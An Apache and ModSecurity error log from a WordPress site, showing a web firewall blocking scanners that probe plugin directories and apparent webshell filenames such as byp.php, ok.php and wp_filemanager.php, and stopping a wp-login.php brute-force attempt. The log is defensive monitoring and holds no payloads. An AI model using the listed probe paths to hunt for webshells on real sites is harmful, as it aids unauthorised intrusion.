[Sat Feb 28 08:59:33.726831 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.30:37543] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/cekidot/"] [unique_id "aaI99RVE-FfM89u7BQa8vgAAAJg"]
[Sat Feb 28 08:59:39.086056 2026] [:error] [pid 39292:tid 39304] [client 173.244.55.25:50065] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-freeform/"] [unique_id "aaI9-6IAO5fN7BxyqcFUoQAAAMo"]
[Sat Feb 28 08:59:41.282941 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.26:48783] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/zaen/includes/"] [unique_id "aaI9_aIAO5fN7BxyqcFUsgAAANg"]
[Sat Feb 28 08:59:42.165598 2026] [:error] [pid 39183:tid 39208] [client 173.244.55.21:26937] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/zaen/includes/"] [unique_id "aaI9_hCf4HvhVePw3LaxewAAABA"]
[Sat Feb 28 08:59:45.277177 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.30:28363] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/alera/"] [unique_id "aaI-AWuX5e1Q32gqxH1dlQAAAQY"]
[Sat Feb 28 08:59:47.481647 2026] [:error] [pid 39184:tid 39237] [client 173.244.55.29:28651] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/thuoc-nam/"] [unique_id "aaI-A1tZF9Zd_U7easCVewAAAFI"]
[Sat Feb 28 08:59:48.384820 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.29:42891] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/thuoc-nam/"] [unique_id "aaI-BBVE-FfM89u7BQa9lwAAAIM"]
[Sat Feb 28 09:00:03.644233 2026] [:error] [pid 39184:tid 39231] [client 173.244.55.22:29701] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/"] [unique_id "aaI-E1tZF9Zd_U7easCWCgAAAEw"]
[Sat Feb 28 09:00:06.294404 2026] [:error] [pid 39184:tid 39235] [client 173.244.55.31:38713] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/"] [unique_id "aaI-FltZF9Zd_U7easCWKQAAAFA"]
[Sat Feb 28 09:00:09.432204 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.20:30351] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/"] [unique_id "aaI-GWuX5e1Q32gqxH1fUgAAAQI"]
[Sat Feb 28 09:00:14.389935 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.21:59603] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/maintenance/"] [unique_id "aaI-HhVE-FfM89u7BQa_IAAAAJA"]
[Sat Feb 28 09:00:21.107473 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.23:27527] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/pridmag/"] [unique_id "aaI-JRVE-FfM89u7BQa_ggAAAJc"]
[Sat Feb 28 09:00:21.988130 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.20:52097] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/pridmag/"] [unique_id "aaI-JWuX5e1Q32gqxH1gJgAAAQ0"]
[Sat Feb 28 09:10:00.605162 2026] [:error] [pid 11791:tid 11801] [client 20.220.61.156:65358] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaJAaGuX5e1Q32gqxH19HAAAAQg"]
[Sat Feb 28 09:10:01.726677 2026] [:error] [pid 11791:tid 11803] [client 20.220.61.156:65307] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaJAaWuX5e1Q32gqxH19KAAAAQo"]
[Sat Feb 28 09:10:04.205509 2026] [:error] [pid 11791:tid 11808] [client 20.220.61.156:65348] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaJAbGuX5e1Q32gqxH19PgAAAQ8"]
[Sat Feb 28 09:10:05.315400 2026] [:error] [pid 11791:tid 11808] [client 20.220.61.156:65321] [client 20.220.61.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaJAbWuX5e1Q32gqxH19TAAAAQ8"]
[Sat Feb 28 10:40:15.733884 2026] [autoindex:error] [pid 11791:tid 11810] [client 217.154.234.180:54254] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 10:49:00.851426 2026] [:error] [pid 39185:tid 39264] [client 45.141.233.196:53179] [client 45.141.233.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.196, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaJXnBVE-FfM89u7BQZOJgAAAJI"], referer: https://t.co/
[Sat Feb 28 10:49:00.861902 2026] [proxy_fcgi:error] [pid 39185:tid 39264] [client 45.141.233.196:53179] AH01071: Got error 'Primary script unknown', referer: https://t.co/
[Sat Feb 28 10:49:01.393036 2026] [:error] [pid 11791:tid 11806] [client 45.141.233.196:55156] [client 45.141.233.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.196, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaJXnWuX5e1Q32gqxH3OOgAAAQ0"]
[Sat Feb 28 10:49:01.393112 2026] [:error] [pid 11791:tid 11806] [client 45.141.233.196:55156] [client 45.141.233.196] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.141.233.196 on wp-login.php, counter = 18"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaJXnWuX5e1Q32gqxH3OOgAAAQ0"]
[Sat Feb 28 10:49:01.658448 2026] [:error] [pid 39185:tid 39261] [client 45.141.233.196:53179] [client 45.141.233.196] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.141.233.196 on wp-login.php, counter = 17"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aaJXnRVE-FfM89u7BQZOKAAAAI8"], referer: https://www.facebook.com/
[Sat Feb 28 12:49:02.217101 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.237594 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.255925 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.274077 2026] [proxy_fcgi:error] [pid 11791:tid 11810] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.293852 2026] [proxy_fcgi:error] [pid 11791:tid 11800] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.312405 2026] [proxy_fcgi:error] [pid 11791:tid 11811] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.334462 2026] [proxy_fcgi:error] [pid 11791:tid 11798] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.352592 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.370844 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.406861 2026] [proxy_fcgi:error] [pid 11791:tid 11804] [client 20.92.234.66:14689] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 12:49:02.421564 2026] [:error] [pid 11791:tid 11801] [client 20.92.234.66:14689] [client 20.92.234.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaJzvmuX5e1Q32gqxH0P3gAAAQg"]
[Sat Feb 28 12:49:02.523454 2026] [:error] [pid 52460:tid 52464] [client 20.92.234.66:4442] [client 20.92.234.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaJzvrLWOogAgHGh62QiaQAAAYE"]
[Sat Feb 28 12:49:02.598897 2026] [:error] [pid 52460:tid 52470] [client 20.92.234.66:11766] [client 20.92.234.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaJzvrLWOogAgHGh62QiagAAAYc"]
[Sat Feb 28 12:49:02.658821 2026] [:error] [pid 39185:tid 39250] [client 20.92.234.66:15500] [client 20.92.234.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaJzvhVE-FfM89u7BQatmAAAAIQ"]
[Sat Feb 28 14:25:50.030242 2026] [proxy_fcgi:error] [pid 52460:tid 52481] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:50.239615 2026] [proxy_fcgi:error] [pid 52460:tid 52471] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:50.449161 2026] [proxy_fcgi:error] [pid 52460:tid 52466] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:50.658901 2026] [proxy_fcgi:error] [pid 52460:tid 52476] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:50.868651 2026] [proxy_fcgi:error] [pid 52460:tid 52468] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:51.082830 2026] [proxy_fcgi:error] [pid 52460:tid 52477] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:51.501734 2026] [proxy_fcgi:error] [pid 52460:tid 52483] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:51.712206 2026] [proxy_fcgi:error] [pid 52460:tid 52464] [client 20.63.83.113:4458] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:25:52.127978 2026] [:error] [pid 52460:tid 52473] [client 20.63.83.113:4458] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aaKKcLLWOogAgHGh62Rp8QAAAYo"]
[Sat Feb 28 14:25:52.537207 2026] [:error] [pid 39185:tid 39248] [client 20.63.83.113:14373] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aaKKcBVE-FfM89u7BQYTtAAAAII"]
[Sat Feb 28 14:25:52.973463 2026] [:error] [pid 39185:tid 39267] [client 20.63.83.113:29019] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aaKKcBVE-FfM89u7BQYTtwAAAJU"]
[Sat Feb 28 14:25:53.396359 2026] [:error] [pid 52460:tid 52481] [client 20.63.83.113:65191] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aaKKcbLWOogAgHGh62Rp-gAAAZI"]
[Sat Feb 28 14:25:53.804477 2026] [:error] [pid 52460:tid 52468] [client 20.63.83.113:52740] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynz.PhP7"] [unique_id "aaKKcbLWOogAgHGh62Rp_QAAAYU"]
[Sat Feb 28 14:25:54.211758 2026] [:error] [pid 39185:tid 39253] [client 20.63.83.113:4425] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynz.PhP7"] [unique_id "aaKKchVE-FfM89u7BQYTwAAAAIc"]
[Sat Feb 28 14:25:54.624599 2026] [:error] [pid 11791:tid 11806] [client 20.63.83.113:14375] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynz.PhP7"] [unique_id "aaKKcmuX5e1Q32gqxH1EVQAAAQ0"]
[Sat Feb 28 14:25:55.044626 2026] [:error] [pid 11791:tid 11805] [client 20.63.83.113:46792] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ynz.PhP7"] [unique_id "aaKKc2uX5e1Q32gqxH1EWQAAAQw"]
[Sat Feb 28 14:25:55.463885 2026] [:error] [pid 52460:tid 52465] [client 20.63.83.113:14369] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKKc7LWOogAgHGh62RqAAAAAYI"]
[Sat Feb 28 14:25:55.878548 2026] [:error] [pid 22194:tid 22204] [client 20.63.83.113:32360] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKKc36mbajs3bzQGytVjQAAAUg"]
[Sat Feb 28 14:25:56.289054 2026] [:error] [pid 22194:tid 22199] [client 20.63.83.113:14542] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKKdH6mbajs3bzQGytVjwAAAUM"]
[Sat Feb 28 14:25:56.704468 2026] [:error] [pid 52460:tid 52475] [client 20.63.83.113:57297] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKKdLLWOogAgHGh62RqBQAAAYw"]
[Sat Feb 28 14:25:57.145318 2026] [:error] [pid 52460:tid 52467] [client 20.63.83.113:28698] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "aaKKdbLWOogAgHGh62RqBgAAAYQ"]
[Sat Feb 28 14:25:57.580117 2026] [:error] [pid 39185:tid 39249] [client 20.63.83.113:14582] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "aaKKdRVE-FfM89u7BQYTygAAAIM"]
[Sat Feb 28 14:25:58.003952 2026] [:error] [pid 39185:tid 39254] [client 20.63.83.113:14589] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "aaKKdhVE-FfM89u7BQYTzQAAAIg"]
[Sat Feb 28 14:25:58.419047 2026] [:error] [pid 39185:tid 39251] [client 20.63.83.113:14376] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "aaKKdhVE-FfM89u7BQYT0QAAAIU"]
[Sat Feb 28 14:25:58.840630 2026] [:error] [pid 39183:tid 39200] [client 20.63.83.113:38142] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aaKKdhCf4HvhVePw3Lb1xAAAAAg"]
[Sat Feb 28 14:25:59.281233 2026] [:error] [pid 11791:tid 11799] [client 20.63.83.113:14605] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aaKKd2uX5e1Q32gqxH1EWwAAAQY"]
[Sat Feb 28 14:25:59.695880 2026] [:error] [pid 22194:tid 22206] [client 20.63.83.113:57299] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aaKKd36mbajs3bzQGytVlAAAAUo"]
[Sat Feb 28 14:26:00.112246 2026] [:error] [pid 22194:tid 22219] [client 20.63.83.113:38132] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aaKKeH6mbajs3bzQGytVlgAAAVc"]
[Sat Feb 28 14:26:00.534348 2026] [:error] [pid 22194:tid 22200] [client 20.63.83.113:28708] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKKeH6mbajs3bzQGytVmAAAAUQ"]
[Sat Feb 28 14:26:00.948660 2026] [:error] [pid 39292:tid 39316] [client 20.63.83.113:40759] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKKeKIAO5fN7BxyqcHsngAAANY"]
[Sat Feb 28 14:26:01.361871 2026] [:error] [pid 39184:tid 39231] [client 20.63.83.113:50635] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKKeVtZF9Zd_U7easDr2wAAAEw"]
[Sat Feb 28 14:26:01.790778 2026] [:error] [pid 22194:tid 22205] [client 20.63.83.113:50668] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKKeX6mbajs3bzQGytVoAAAAUk"]
